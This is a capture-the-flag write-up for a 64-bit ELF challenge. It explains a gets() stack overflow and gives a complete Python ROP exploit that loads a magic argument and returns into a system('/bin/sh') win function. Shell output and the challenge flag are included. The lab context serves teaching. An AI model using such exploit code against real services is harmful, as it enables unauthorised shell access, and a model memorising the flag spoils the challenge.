Category: Binary Exploitation
Flag: texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}
Challenge Description
Do you ever wonder what happens to your packages? So does your mail carrier.
Analysis
The challenge binary was a 64-bit ELF for x86-64, dynamically linked and not stripped, which meant the function names were still present and the control flow was easy to follow. The first useful check was the file type:
file ~/Downloads/chall/home/LIGHT/Downloads/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=...,for GNU/Linux 3.2.0, not strippedThe solve log also recorded the relevant mitigations: Partial RELRO, no stack canary, NX enabled, no PIE, and RWX segments. The important part here was no canary and no PIE. That combination strongly suggests a straightforward stack overflow where fixed code addresses can be reused directly.
Looking at the recovered function layout from the solve log showed exactly where to focus: deliver() contained the input handling, drive() looked like a win function, and tool() contained a useful ROP gadget. The vulnerable function was captured as:
<deliver>: 40126c: endbr64 401270: push %rbp 401271: mov %rsp,%rbp 401274: sub $0x20,%rsp ; 32-byte buffer ... 401296: lea -0x20(%rbp),%rax ; buffer at rbp-0x20 40129a: mov %rax,%rdi 4012a2: call 4010c0 <gets@plt> ; VULNERABLE!That immediately explains the bug. gets() reads arbitrarily long input into a 32-byte stack buffer, so the saved base pointer and then the return address can be overwritten. With a 32-byte local buffer and an 8-byte saved rbp, the offset to the saved return pointer is 40 bytes.
The solve hinged on understanding drive(), because returning there blindly was not enough. The function checked its first argument before spawning a shell:
<drive>: 401211: endbr64 401215: push %rbp 401216: mov %rsp,%rbp 401219: sub $0x10,%rsp 40121d: mov %rdi,-0x8(%rbp) ; save argument ... 401230: cmpq $0x48435344,-0x8(%rbp) ; compare to "DSCH" 401238: jne 40125a ; jump if not equal ... 401253: call 4010a0 <system@plt> ; system("/bin/sh")So the exploit needed to do more than overwrite RIP. It had to place the magic value 0x48435344 into rdi first. The solve log showed the exact gadget search that made that possible:
ROPgadget --binary ~/Downloads/chall | rg 'pop rdi'0x00000000004011be : pop rdi ; retOnce that gadget was found, the whole chain became clean and deterministic: 40 bytes of padding to reach the return address, pop rdi ; ret at 0x4011be, the magic value 0x48435344, a plain ret gadget at 0x40101a for stack alignment, and finally the drive() function at 0x401211. That alignment gadget matters because the eventual system() call expects a properly aligned stack on amd64.
Solution
# !/usr/bin/env python3import socketimport timeimport struct
HOST = '143.198.163.4'PORT = 15858
# Addressesoffset = 40pop_rdi_ret = 0x4011be # pop rdi; retmagic_value = 0x48435344 # "DSCH" in little-endianret_gadget = 0x40101a # ret for alignmentdrive_addr = 0x401211 # drive function
payload = b'A' * offsetpayload += struct.pack('<Q', pop_rdi_ret)payload += struct.pack('<Q', magic_value)payload += struct.pack('<Q', ret_gadget)payload += struct.pack('<Q', drive_addr)
# Connects = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(30)s.connect((HOST, PORT))
# Receive promptsdata = b''while b'deliver?' not in data: data += s.recv(4096)
# Send payloads.send(payload + b'\n')time.sleep(2)
# Get shell outputs.recv(8192)
# Send commandss.send(b'id\n')time.sleep(0.5)s.send(b'cat flag.txt\n')time.sleep(2)
# Read outputoutput = s.recv(16384)print(output.decode())When that payload was sent to the remote service, the overwritten return path landed in drive() with the right argument already loaded, and the program dropped into a shell. The captured output confirmed both code execution and the final flag:
[*] Payload (72 bytes)[*] pop rdi; ret: 0x4011be[*] magic (DSCH): 0x48435344[*] ret gadget: 0x40101a[*] drive: 0x401211[*] Connecting to 143.198.163.4:15858...[RECV] b'Our modern and highly secure postal service never fails to deliver...'[SEND] Payload...[RECV] b"Sorry, we couldn't deliver your package. Returning to sender..."[RECV] b'Attempting secret delivery to 3 Dangerous Drive...'[RECV] b'Success! Secret package delivered.'[RECV] uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)[RECV] total 32drwxr-xr-x 1 nobody nogroup 4096 Mar 27 17:45 .drwxr-xr-x 1 nobody nogroup 4096 Mar 27 08:05 ..-rw-r--r-- 1 nobody nogroup 51 Mar 27 08:02 flag.txt-rwxr-xr-x 1 nobody nogroup 16392 Mar 27 08:02 run[RECV] texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}This was a classic ret2win-style overflow with a small twist: the win function was gated by a magic argument, so the exploit needed one simple calling-convention-aware ROP step before returning into it.